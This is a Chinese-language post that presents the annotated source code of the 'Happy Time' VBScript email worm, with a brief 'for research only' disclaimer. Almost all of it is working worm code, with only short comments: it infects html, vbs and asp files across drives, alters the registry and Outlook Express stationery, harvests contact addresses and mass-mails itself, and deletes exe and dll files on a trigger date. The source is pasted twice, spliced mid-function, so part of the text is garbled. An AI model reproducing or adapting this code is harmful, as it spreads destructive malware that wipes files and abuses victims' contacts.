欢乐时光病毒原码介绍
欢乐时光病毒原码介绍
本贴内容只用于研究，请看到者帮助他人删除windows的VBS脚本语言，该语言是重大安全漏洞！！！！！！
> <!--
> <script language='VBScript'>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> Rem I am sorry! happy time
> On Error Resume Next
> mload ----------------------从mload开始罪恶的历程
> Sub mload()
> On Error Resume Next
> mPath = Grf()
> Set Os = CreateObject("Scriptlet.TypeLib")
> Set Oh = CreateObject("Shell.Application")
> If IsHTML Then ----------------------如果本程序是网页，就是在Outlook
> mURL = LCase(document.Location)
> If mPath = "" Then
> Os.Reset
> Os.Path = "C:/Help.htm" ----------------------建立help.htm
> Os.Doc = Lhtml() ------------调入全部源码
> Os.Write() ----------------------存储自身到help.htm
> Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
> Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
> Else
> If Iv(mPath, "Help.vbs") Then
> setInterval "Rt()", 10000
> Else
> m = "hta"
> If LCase(m) = Right(mURL, Len(m)) Then
> id = setTimeout("mclose()", 1) ---------调用mclose
> main ----------------进入主程序
> Else
> Os.Reset()
> Os.Path = mPath & "/" & "Help.hta" ------------建立Help.hta文件
> Os.Doc = Lhtml()
> Os.write()
> Iv mPath, "Help.hta"
> End If
> End If
> End If
> Else
> main
> End If
> End Sub
> Sub main() ----------------主程序
> On Error Resume Next
> Set Of = CreateObject("Scripting.FileSystemObject")
> Set Od = CreateObject("Scripting.Dictionary")
> Od.Add "html", "1100"
> Od.Add "vbs", "0100"
> Od.Add "htm", "1100"
> Od.Add "asp", "0010"
> Ks = "HKEY_CURRENT_USER/Software/" -----------------写注册表
> Ds = Grf()
> Cs = Gsf()
> If IsVbs Then
> If Of.FileExists("C:/help.htm") Then
> Of.DeleteFile ("C:/help.htm")
> End If
> Key = CInt(Month(Date) + Day(Date)) ---------------注意：破坏动作
> If Key = 13 Then ---------------如果月日之和等于13
> Od.RemoveAll
> Od.Add "exe", "0001" ---------------删除.exe.dll文件
> Od.Add "dll", "0001"
> End If
> Cn = Rg(Ks & "Help/Count") ------------修改注册表的计数器
> If Cn = "" Then
> Cn = 1
> End If
> Rw Ks & "Help/Count", Cn + 1
> f1 = Rg(Ks & "Help/FileName")
> f2 = FNext(Of, Od, f1)
> fext = GetExt(Of, Od, f2)
> Rw Ks & "Help/FileName", f2
> If IsDel(fext) Then
> f3 = f2
> f2 = FNext(Of, Od, f2)
> Rw Ks & "Help/FileName", f2
> Of.DeleteFile f3
> Else
> If LCase(WScript.ScriptFullname) <> LCase(f2) Then
> Fw Of, f2, fext
> End If
> End If
> If (CInt(Cn) Mod 366) = 0 Then
> If (CInt(Second(Time)) Mod 2) = 0 Then
> Tsend
> Else
> adds = Og
> Msend (adds)
> End If
> End If
> wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper") --------此处修改注册表墙纸
> If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
> If wp = "" Then
> n1 = ""
> n3 = Cs & "/Help.htm" --------如果墙纸为空，直接设定help.htm为墙纸
> Else --------否则修改墙纸文件
> mP = Of.GetFile(wp).ParentFolder-------设定文件名和路径名
> n1 = Of.GetFileName(wp)
> n2 = Of.GetBaseName(wp)
> n3 = Cs & "/" & n2 & ".htm"
> End If
> Set pfc = Of.CreateTextFile(n3, True)
> mt = Sa("1100")
> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
> pfc.Close
> Rw Ks & "Help/wallPaper", n3
> Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3 --------修改墙纸
> End If
> Else
> Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True) -------在此建立vbs文件
> fc.Write Sa("0100")
> fc.Close
> bf = Cs & "/Untitled.htm" ------------修改Outlook Express 信纸文件
> Set fc2 = Of.CreateTextFile(bf, True)
> fc2.Write Lhtml
> fc2.Close
> oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID") --------又是注册表
> oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"
> MSH = oe & "/Message Send HTML"
> CUS = oe & "/Compose Use Stationery"
> SN = oe & "/Stationery Name"
> Rw MSH, 1 --------写注册表
> Rw CUS, 1
> Rw SN, bf
> Web = Cs & "/WEB"
> Set gf = Of.GetFolder(Web).Files
> Od.Add "htt", "1100"
> For Each m In gf
> fext = GetExt(Of, Od, m)
> If fext <> "" Then
> Fw Of, m, fext
> End If
> Next
> End If
> End Sub
> Sub mclose() -----------------------close 过程
> document.Write "<" & "title>I am sorry!</title" & ">"
> window.Close
> End Sub
> Sub Rt() -----------------------Rt 过程，调用Help.vbs
> Dim mPath
> On Error Resume Next
> mPath = Grf()
> Iv mPath, "Help.vbs"
> End Sub
> Function Sa(n) -----------------------Sa 函数，返回病毒文本
> Dim VBSText, m
> VBSText = Lvbs()
> If Mid(n, 3, 1) = 1 Then
> m = "<%" & VBSText & "%>"
> End If
> If Mid(n, 2, 1) = 1 Then
> m = VBSText --------------
> End If
> If Mid(n, 1, 1) = 1 Then
> m = Lscript(m)
> End If
> Sa = m & vbCrLf
> End Function
> Sub Fw(Of, S, n) --------------fw 过程，修改文件并发出
> Dim fc, fc2, m, mmail, mt
> On Error Resume Next
> Set fc = Of.OpenTextFile(S, 1)
> mt = fc.ReadAll
> fc.Close
> If Not Sc(mt) Then
> mmail = Ml(mt)
> mt = Sa(n)
> Set fc2 = Of.OpenTextFile(S, 8)
> fc2.Write mt
> fc2.Close
> Msend (mmail)
> End If
> End Sub
> Function Sc(S) ----------------SC 过程，判断是否已感染
> mN = "Rem I am sorry! happy time"
> If InStr(S, mN) > 0 Then
> Sc = True
> Else
> Sc = False
> End If
> End Function
> Function FNext(Of, Od, S) -------------------Fnext函数
> Dim fpath, fname, fext, T, gf
> On Error Resume Next
> fname = ""
> T = False
> If Of.FileExists(S) Then
> fpath = Of.GetFile(S).ParentFolder
> fname = S
> ElseIf Of.FolderExists(S) Then
> fpath = S
> T = True
> Else
> fpath = Dnext(Of, "")
> End If
> Do While True
> Set gf = Of.GetFolder(fpath).Files
> For Each m In gf
> If T Then
> If GetExt(Of, Od, m) <> "" Then
> FNext = m
> Exit Function
> End If
> ElseIf LCase(m) = LCase(fname) Or fname = "" Then
> T = True
> End If
> Next
> fpath = Pnext(Of, fpath)
> Loop
> End Function
> Function Pnext(Of, S) ----------Pnext函数
> On Error Resume Next
> Dim Ppath, Npath, gp, pn, T, m
> T = False
> If Of.FolderExists(S) Then
> Set gp = Of.GetFolder(S).SubFolders
> pn = gp.Count
> If pn = 0 Then
> Ppath = LCase(S)
> Npath = LCase(Of.GetParentFolderName(S))
> T = True
> Else
> Npath = LCase(S)
> End If
> Do While Not Er
> For Each pn In Of.GetFolder(Npath).SubFolders
> If T Then
> If Ppath = LCase(pn) Then
> T = False
> End If
> Else
> Pnext = LCase(pn)
> Exit Function
> End If
> Next
> T = True
> Ppath = LCase(Npath)
> Npath = Of.GetParentFolderName(Npath)
> If Of.GetFolder(Ppath).IsRootFolder Then
> m = Of.GetDriveName(Ppath)
> Pnext = Dnext(Of, m)
> Exit Function
> End If
> Loop
> End If
> End Function
> Function Dnext(Of, S) ---------Dnext函数
> Dim dc, n, d, T, m
> On Error Resume Next
> T = False
> m = ""
> Set dc = Of.Drives
> For Each d In dc
> If d.DriveType = 2 Or d.DriveType = 3 Then
> If T Then
> Dnext = d
> Exit Function
> Else
> If LCase(S) = LCase(d) Then
> T = True
> End If
> If m = "" Then
> m = d
> End If
> End If
> End If
> Next
> Dnext = m
> End Function
> Function GetExt(Of, Od, S) --------------GetExt函数，获得扩展名
> Dim fext
> On Error Resume Next
> fext = LCase(Of.GetExtensionName(S))
> GetExt = Od.Item(fext)
> End Function
> Sub Rw(k, v) -------------Rw过程，写注册表
> Dim R
> On Error Resume Next
> Set R = CreateObject("WScript.Shell")
> R.RegWrite k, v
> End Sub
> Function Rg(v) --------------Rv 函数，读注册表
> Dim R
> On Error Resume Next
> Set R = CreateObject("WScript.Shell")
> Rg = R.RegRead(v)
> End Function
> Function IsVbs()-------------IsVbs函数
> Dim ErrTest
> On Error Resume Next
> ErrTest = WScript.ScriptFullname
> If Err Then
> IsVbs = False
> Else
> IsVbs = True
> End If
> End Function
> Function IsHTML() --------------IsHTML函数
> Dim ErrTest
> On Error Resume Next
> ErrTest = document.Location
> If Er Then
> IsHTML = False
> Else
> IsHTML = True
> End If
> End Function
> Function IsMail(S) -------------IsMail函数
> Dim m1, m2
> IsMail = False
> If InStr(S, vbCrLf) = 0 Then
> m1 = InStr(S, "@")
> m2 = InStr(S, ".")
> If m1 <> 0 And m1 < m2 Then
> IsMail = True
> End If
> End If
> End Function
> Function Lvbs() -------------Lvbs函数，读自身的函数，自我复制的关键步骤
> Dim f, m, ws, Of
> On Error Resume Next
> If IsVbs Then
> Set Of = CreateObject("Scripting.FileSystemObject")
> Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
> Lvbs = f.ReadAll--------------从vbs文件读入自己的全部
> Else
> For Each ws In document.scripts
> If LCase(ws.Language) = "vbscript" Then --------------从html文件读入自己的全部
> If Sc(ws.Text) Then
> Lvbs = ws.Text
> Exit Function
> End If
> End If
> Next
> End If
> End Function
> Function Iv(mPath, mName) ---------------Iv函数，调用help.vbs
> Dim Shell
> On Error Resume Next
> Set Shell = CreateObject("Shell.Application")
> Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
> If Er Then
> Iv = False
> Else
> Iv = True
> End If
> End Function
> Function Grf() ---------Grf函数,返回shell路径
> Dim Shell, mPath
> On Error Resume Next
> Set Shell = CreateObject("Shell.Application")
> mPath = "C:/"
> For Each mShell In Shell.NameSpace(mPath).Items
> If mShell.IsFolder Then
> Grf = mShell.Path
> Exit Function
> End If
> Next
> If Er Then
> Grf = ""
> End If
> End Function
> Function Gsf() ---------------Grf函数
> Dim Of, m
> On Error Resume Next
> Set Of = CreateObject("Scripting.FileSystemObject")
> m = Of.GetSpecialFolder(0)
> If Er Then
> Gsf = "C:/"
> Else
> Gsf = m
> End If
> End Function
> Function Lhtml() -------------------Lhtml函数
> Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
> "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
> "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
> "<" & "/Body></HTML" & ">"
> End Function
> Function Lscript(S) -------------------Lscript函数
> Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
> S & "<" & "/script" & ">"
> End Function
> Function Sl(S1, S2, n) -------------------S1函数
> <!--
> <script language='VBScript'>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> Rem I am sorry! happy time
> On Error Resume Next
> mload ----------------------从mload开始罪恶的历程
> Sub mload()
> On Error Resume Next
> mPath = Grf()
> Set Os = CreateObject("Scriptlet.TypeLib")
> Set Oh = CreateObject("Shell.Application")
> If IsHTML Then ----------------------如果本程序是网页，就是在Outlook
> mURL = LCase(document.Location)
> If mPath = "" Then
> Os.Reset
> Os.Path = "C:/Help.htm" ----------------------建立help.htm
> Os.Doc = Lhtml() ------------调入全部源码
> Os.Write() ----------------------存储自身到help.htm
> Ihtml = "<span style='position:absolute'><Iframe src='C:/Help.htm' width='0' height='0'></Iframe></span>"
> Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
> Else
> If Iv(mPath, "Help.vbs") Then
> setInterval "Rt()", 10000
> Else
> m = "hta"
> If LCase(m) = Right(mURL, Len(m)) Then
> id = setTimeout("mclose()", 1) ---------调用mclose
> main ----------------进入主程序
> Else
> Os.Reset()
> Os.Path = mPath & "/" & "Help.hta" ------------建立Help.hta文件
> Os.Doc = Lhtml()
> Os.write()
> Iv mPath, "Help.hta"
> End If
> End If
> End If
> Else
> main
> End If
> End Sub
> Sub main() ----------------主程序
> On Error Resume Next
> Set Of = CreateObject("Scripting.FileSystemObject")
> Set Od = CreateObject("Scripting.Dictionary")
> Od.Add "html", "1100"
> Od.Add "vbs", "0100"
> Od.Add "htm", "1100"
> Od.Add "asp", "0010"
> Ks = "HKEY_CURRENT_USER/Software/" -----------------写注册表
> Ds = Grf()
> Cs = Gsf()
> If IsVbs Then
> If Of.FileExists("C:/help.htm") Then
> Of.DeleteFile ("C:/help.htm")
> End If
> Key = CInt(Month(Date) + Day(Date)) ---------------注意：破坏动作
> If Key = 13 Then ---------------如果月日之和等于13
> Od.RemoveAll
> Od.Add "exe", "0001" ---------------删除.exe.dll文件
> Od.Add "dll", "0001"
> End If
> Cn = Rg(Ks & "Help/Count") ------------修改注册表的计数器
> If Cn = "" Then
> Cn = 1
> End If
> Rw Ks & "Help/Count", Cn + 1
> f1 = Rg(Ks & "Help/FileName")
> f2 = FNext(Of, Od, f1)
> fext = GetExt(Of, Od, f2)
> Rw Ks & "Help/FileName", f2
> If IsDel(fext) Then
> f3 = f2
> f2 = FNext(Of, Od, f2)
> Rw Ks & "Help/FileName", f2
> Of.DeleteFile f3
> Else
> If LCase(WScript.ScriptFullname) <> LCase(f2) Then
> Fw Of, f2, fext
> End If
> End If
> If (CInt(Cn) Mod 366) = 0 Then
> If (CInt(Second(Time)) Mod 2) = 0 Then
> Tsend
> Else
> adds = Og
> Msend (adds)
> End If
> End If
> wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper") --------此处修改注册表墙纸
> If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then
> If wp = "" Then
> n1 = ""
> n3 = Cs & "/Help.htm" --------如果墙纸为空，直接设定help.htm为墙纸
> Else --------否则修改墙纸文件
> mP = Of.GetFile(wp).ParentFolder-------设定文件名和路径名
> n1 = Of.GetFileName(wp)
> n2 = Of.GetBaseName(wp)
> n3 = Cs & "/" & n2 & ".htm"
> End If
> Set pfc = Of.CreateTextFile(n3, True)
> mt = Sa("1100")
> pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
> pfc.Close
> Rw Ks & "Help/wallPaper", n3
> Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3 --------修改墙纸
> End If
> Else
> Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True) -------在此建立vbs文件
> fc.Write Sa("0100")
> fc.Close
> bf = Cs & "/Untitled.htm" ------------修改Outlook Express 信纸文件
> Set fc2 = Of.CreateTextFile(bf, True)
> fc2.Write Lhtml
> fc2.Close
> oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID") --------又是注册表
> oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook Express/5.0/Mail"
> MSH = oe & "/Message Send HTML"
> CUS = oe & "/Compose Use Stationery"
> SN = oe & "/Stationery Name"
> Rw MSH, 1 --------写注册表
> Rw CUS, 1
> Rw SN, bf
> Web = Cs & "/WEB"
> Set gf = Of.GetFolder(Web).Files
> Od.Add "htt", "1100"
> For Each m In gf
> fext = GetExt(Of, Od, m)
> If fext <> "" Then
> Fw Of, m, fext
> End If
> Next
> End If
> End Sub
> Sub mclose() -----------------------close 过程
> document.Write "<" & "title>I am sorry!</title" & ">"
> window.Close
> End Sub
> Sub Rt() -----------------------Rt 过程，调用Help.vbs
> Dim mPath
> On Error Resume Next
> mPath = Grf()
> Iv mPath, "Help.vbs"
> End Sub
> Function Sa(n) -----------------------Sa 函数，返回病毒文本
> Dim VBSText, m
> VBSText = Lvbs()
> If Mid(n, 3, 1) = 1 Then
> m = "<%" & VBSText & "%>"
> End If
> If Mid(n, 2, 1) = 1 Then
> m = VBSText --------------
> End If
> If Mid(n, 1, 1) = 1 Then
> m = Lscript(m)
> End If
> Sa = m & vbCrLf
> End Function
> Sub Fw(Of, S, n) --------------fw 过程，修改文件并发出
> Dim fc, fc2, m, mmail, mt
> On Error Resume Next
> Set fc = Of.OpenTextFile(S, 1)
> mt = fc.ReadAll
> fc.Close
> If Not Sc(mt) Then
> mmail = Ml(mt)
> mt = Sa(n)
> Set fc2 = Of.OpenTextFile(S, 8)
> fc2.Write mt
> fc2.Close
> Msend (mmail)
> End If
> End Sub
> Function Sc(S) ----------------SC 过程，判断是否已感染
> mN = "Rem I am sorry! happy time"
> If InStr(S, mN) > 0 Then
> Sc = True
> Else
> Sc = False
> End If
> End Function
> Function FNext(Of, Od, S) -------------------Fnext函数
> Dim fpath, fname, fext, T, gf
> On Error Resume Next
> fname = ""
> T = False
> If Of.FileExists(S) Then
> fpath = Of.GetFile(S).ParentFolder
> fname = S
> ElseIf Of.FolderExists(S) Then
> fpath = S
> T = True
> Else
> fpath = Dnext(Of, "")
> End If
> Do While True
> Set gf = Of.GetFolder(fpath).Files
> For Each m In gf
> If T Then
> If GetExt(Of, Od, m) <> "" Then
> FNext = m
> Exit Function
> End If
> ElseIf LCase(m) = LCase(fname) Or fname = "" Then
> T = True
> End If
> Next
> fpath = Pnext(Of, fpath)
> Loop
> End Function
> Function Pnext(Of, S) ----------Pnext函数
> On Error Resume Next
> Dim Ppath, Npath, gp, pn, T, m
> T = False
> If Of.FolderExists(S) Then
> Set gp = Of.GetFolder(S).SubFolders
> pn = gp.Count
> If pn = 0 Then
> Ppath = LCase(S)
> Npath = LCase(Of.GetParentFolderName(S))
> T = True
> Else
> Npath = LCase(S)
> End If
> Do While Not Er
> For Each pn In Of.GetFolder(Npath).SubFolders
> If T Then
> If Ppath = LCase(pn) Then
> T = False
> End If
> Else
> Pnext = LCase(pn)
> Exit Function
> End If
> Next
> T = True
> Ppath = LCase(Npath)
> Npath = Of.GetParentFolderName(Npath)
> If Of.GetFolder(Ppath).IsRootFolder Then
> m = Of.GetDriveName(Ppath)
> Pnext = Dnext(Of, m)
> Exit Function
> End If
> Loop
> End If
> End Function
> Function Dnext(Of, S) ---------Dnext函数
> Dim dc, n, d, T, m
> On Error Resume Next
> T = False
> m = ""
> Set dc = Of.Drives
> For Each d In dc
> If d.DriveType = 2 Or d.DriveType = 3 Then
> If T Then
> Dnext = d
> Exit Function
> Else
> If LCase(S) = LCase(d) Then
> T = True
> End If
> If m = "" Then
> m = d
> End If
> End If
> End If
> Next
> Dnext = m
> End Function
> Function GetExt(Of, Od, S) --------------GetExt函数，获得扩展名
> Dim fext
> On Error Resume Next
> fext = LCase(Of.GetExtensionName(S))
> GetExt = Od.Item(fext)
> End Function
> Sub Rw(k, v) -------------Rw过程，写注册表
> Dim R
> On Error Resume Next
> Set R = CreateObject("WScript.Shell")
> R.RegWrite k, v
> End Sub
> Function Rg(v) --------------Rv 函数，读注册表
> Dim R
> On Error Resume Next
> Set R = CreateObject("WScript.Shell")
> Rg = R.RegRead(v)
> End Function
> Function IsVbs()-------------IsVbs函数
> Dim ErrTest
> On Error Resume Next
> ErrTest = WScript.ScriptFullname
> If Err Then
> IsVbs = False
> Else
> IsVbs = True
> End If
> End Function
> Function IsHTML() --------------IsHTML函数
> Dim ErrTest
> On Error Resume Next
> ErrTest = document.Location
> If Er Then
> IsHTML = False
> Else
> IsHTML = True
> End If
> End Function
> Function IsMail(S) -------------IsMail函数
> Dim m1, m2
> IsMail = False
> If InStr(S, vbCrLf) = 0 Then
> m1 = InStr(S, "@")
> m2 = InStr(S, ".")
> If m1 <> 0 And m1 < m2 Then
> IsMail = True
> End If
> End If
> End Function
> Function Lvbs() -------------Lvbs函数，读自身的函数，自我复制的关键步骤
> Dim f, m, ws, Of
> On Error Resume Next
> If IsVbs Then
> Set Of = CreateObject("Scripting.FileSystemObject")
> Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
> Lvbs = f.ReadAll--------------从vbs文件读入自己的全部
> Else
> For Each ws In document.scripts
> If LCase(ws.Language) = "vbscript" Then --------------从html文件读入自己的全部
> If Sc(ws.Text) Then
> Lvbs = ws.Text
> Exit Function
> End If
> End If
> Next
> End If
> End Function
> Function Iv(mPath, mName) ---------------Iv函数，调用help.vbs
> Dim Shell
> On Error Resume Next
> Set Shell = CreateObject("Shell.Application")
> Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb
> If Er Then
> Iv = False
> Else
> Iv = True
> End If
> End Function
> Function Grf() ---------Grf函数,返回shell路径
> Dim Shell, mPath
> On Error Resume Next
> Set Shell = CreateObject("Shell.Application")
> mPath = "C:/"
> For Each mShell In Shell.NameSpace(mPath).Items
> If mShell.IsFolder Then
> Grf = mShell.Path
> Exit Function
> End If
> Next
> If Er Then
> Grf = ""
> End If
> End Function
> Function Gsf() ---------------Grf函数
> Dim Of, m
> On Error Resume Next
> Set Of = CreateObject("Scripting.FileSystemObject")
> m = Of.GetSpecialFolder(0)
> If Er Then
> Gsf = "C:/"
> Else
> Gsf = m
> End If
> End Function
> Function Lhtml() -------------------Lhtml函数
> Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
> "<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
> "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
> "<" & "/Body></HTML" & ">"
> End Function
> Function Lscript(S) -------------------Lscript函数
> Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
> S & "<" & "/script" & ">"
> End Function
> Function Sl(S1, S2, n) -------------------S1函数
> Dim l1, l2, l3, i
> l1 = Len(S1)
> l2 = Len(S2)
> i = InStr(S1, S2)
> If i > 0 Then
> l3 = i + l2 - 1
> If n = 0 Then
> Sl = Left(S1, i - 1)
> ElseIf n = 1 Then
> Sl = Right(S1, l1 - l3)
> End If
> Else
> Sl = ""
> End If
> End Function
> Function Ml(S) ---------------M1函数
> Dim S1, S3, S2, T, adds, m
> S1 = S
> S3 = """"
> adds = ""
> S2 = S3 & "mailto" & ":"
> T = True
> Do While T
> S1 = Sl(S1, S2, 1)
> If S1 = "" Then
> T = False
> Else
> m = Sl(S1, S3, 0)
> If IsMail(m) Then
> adds = adds & m & vbCrLf
> End If
> End If
> Loop
> Ml = Split(adds, vbCrLf)
> End Function
> Function Og() ---------------Og函数
> Dim i, n, m(), Om, Oo
> Set Oo = CreateObject("Outlook.Application")
> Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
> n = Om.Count
> ReDim m(n)
> For i = 1 To n
> m(i - 1) = Om.Item(i).Email1Address
> Next
> Og = m
> End Function
> Sub Tsend() ------------------Tsend过程
> Dim Od, MS, MM, a, m
> Set Od = CreateObject("Scripting.Dictionary")
> MConnect MS, MM
> MM.FetchSorted = True
> MM.Fetch
> For i = 0 To MM.MsgCount - 1
> MM.MsgIndex = i
> a = MM.MsgOrigAddress
> If Od.Item(a) = "" Then
> Od.Item(a) = MM.MsgSubject
> End If
> Next
> For Each m In Od.Keys
> MM.Compose
> MM.MsgSubject = "Fw: " & Od.Item(m)
> MM.RecipAddress = m
> MM.AttachmentPathName = Gsf & "/Untitled.htm"
> MM.Send
> Next
> MS.SignOff
> End Sub
> Function MConnect(MS, MM) ------------------MConnect函数
> Dim U
> On Error Resume Next
> Set MS = CreateObject("MSMAPI.MAPISession")
> Set MM = CreateObject("MSMAPI.MAPIMessages")
> U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
> MS.UserName = U
> MS.DownLoadMail = False
> MS.NewSession = False
> MS.LogonUI = True
> MS.SignOn
> MM.SessionID = MS.SessionID
> End Function
> Sub Msend(Address) -------------------Msend 过程
> Dim MS, MM, i, a
> MConnect MS, MM
> i = 0
> MM.Compose
> For Each a In Address
> If IsMail(a) Then
> MM.RecipIndex = i
> MM.RecipAddress = a
> i = i + 1
> End If
> Next
> MM.MsgSubject = " Help "
> MM.AttachmentPathName = Gsf & "/Untitled.htm"
> MM.Send
> MS.SignOff
> End Sub
> Function Er() --------------------Er函数
> If Err.Number = 0 Then
> Er = False
> Else
> Err.Clear
> Er = True
> End If
> End Function
> Function IsDel(S) -------------------IsDel函数
> If Mid(S, 4, 1) = 1 Then
> IsDel = True
> Else
> IsDel = False
> End If
> End Function
>
>
>
> </script>
>
> -->
>
> l1 = Len(S1)
> l2 = Len(S2)
> i = InStr(S1, S2)
> If i > 0 Then
> l3 = i + l2 - 1
> If n = 0 Then
> Sl = Left(S1, i - 1)
> ElseIf n = 1 Then
> Sl = Right(S1, l1 - l3)
> End If
> Else
> Sl = ""
> End If
> End Function
> Function Ml(S) ---------------M1函数
> Dim S1, S3, S2, T, adds, m
> S1 = S
> S3 = """"
> adds = ""
> S2 = S3 & "mailto" & ":"
> T = True
> Do While T
> S1 = Sl(S1, S2, 1)
> If S1 = "" Then
> T = False
> Else
> m = Sl(S1, S3, 0)
> If IsMail(m) Then
> adds = adds & m & vbCrLf
> End If
> End If
> Loop
> Ml = Split(adds, vbCrLf)
> End Function
> Function Og() ---------------Og函数
> Dim i, n, m(), Om, Oo
> Set Oo = CreateObject("Outlook.Application")
> Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
> n = Om.Count
> ReDim m(n)
> For i = 1 To n
> m(i - 1) = Om.Item(i).Email1Address
> Next
> Og = m
> End Function
> Sub Tsend() ------------------Tsend过程
> Dim Od, MS, MM, a, m
> Set Od = CreateObject("Scripting.Dictionary")
> MConnect MS, MM
> MM.FetchSorted = True
> MM.Fetch
> For i = 0 To MM.MsgCount - 1
> MM.MsgIndex = i
> a = MM.MsgOrigAddress
> If Od.Item(a) = "" Then
> Od.Item(a) = MM.MsgSubject
> End If
> Next
> For Each m In Od.Keys
> MM.Compose
> MM.MsgSubject = "Fw: " & Od.Item(m)
> MM.RecipAddress = m
> MM.AttachmentPathName = Gsf & "/Untitled.htm"
> MM.Send
> Next
> MS.SignOff
> End Sub
> Function MConnect(MS, MM) ------------------MConnect函数
> Dim U
> On Error Resume Next
> Set MS = CreateObject("MSMAPI.MAPISession")
> Set MM = CreateObject("MSMAPI.MAPIMessages")
> U = Rg("HKEY_CURRENT_USER/Software/Microsoft/Windows Messaging Subsystem/Profiles/DefaultProfile")
> MS.UserName = U
> MS.DownLoadMail = False
> MS.NewSession = False
> MS.LogonUI = True
> MS.SignOn
> MM.SessionID = MS.SessionID
> End Function
> Sub Msend(Address) -------------------Msend 过程
> Dim MS, MM, i, a
> MConnect MS, MM
> i = 0
> MM.Compose
> For Each a In Address
> If IsMail(a) Then
> MM.RecipIndex = i
> MM.RecipAddress = a
> i = i + 1
> End If
> Next
> MM.MsgSubject = " Help "
> MM.AttachmentPathName = Gsf & "/Untitled.htm"
> MM.Send
> MS.SignOff
> End Sub
> Function Er() --------------------Er函数
> If Err.Number = 0 Then
> Er = False
> Else
> Err.Clear
> Er = True
> End If
> End Function
> Function IsDel(S) -------------------IsDel函数
> If Mid(S, 4, 1) = 1 Then
> IsDel = True
> Else
> IsDel = False
> End If
> End Function
>
>
>
> </script>
>
> -->
>